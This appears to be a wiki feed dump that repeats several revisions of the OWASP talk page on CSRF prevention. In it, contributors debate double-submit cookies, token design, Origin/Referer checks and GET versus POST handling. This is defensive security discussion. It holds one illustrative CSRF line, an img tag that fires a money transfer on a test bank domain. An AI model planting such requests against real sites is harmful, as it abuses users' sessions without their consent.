--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== The link-presenter host with regard to the Referer/Origin check ==&lt;br /&gt;
&lt;br /&gt;
I heard arguments for extending the whitelist to sites potentially hosting the links that point to the application that is protected with a Referer/Origin check.  This can be a slippery slope as sending a second-factor authentication link through email may end up being hosted by a huge number of webmail providers.  Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API.  That is,&lt;br /&gt;
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately, &lt;br /&gt;
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers.  Therefore,&lt;br /&gt;
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX  Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection.  Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX.  The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts.  [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245062</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245062"/>
				<updated>2018-11-12T22:30:27Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== The link-presenter host with regard to the Referer/Origin check ==&lt;br /&gt;
&lt;br /&gt;
I heard arguments for extending the whitelist to sites potentially hosting the links that point to the application that is protected with a Referer/Origin check.  This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers.  Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API.  That is,&lt;br /&gt;
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately, &lt;br /&gt;
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers.  Therefore,&lt;br /&gt;
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX  Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection.  Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX.  The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts.  [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245061</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245061"/>
				<updated>2018-11-12T22:29:42Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== The link-presenter host with regard to the Referer/Origin check ==&lt;br /&gt;
&lt;br /&gt;
I heard arguments for extending the whitelist to sites potentially hosting the link to the application that is protected with a Referer/Origin check.  This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers.  Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API.  That is,&lt;br /&gt;
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately, &lt;br /&gt;
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers.  Therefore,&lt;br /&gt;
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX  Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection.  Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX.  The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts.  [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245060</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245060"/>
				<updated>2018-11-12T22:28:43Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The link host argument against the Referer/Origin check */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
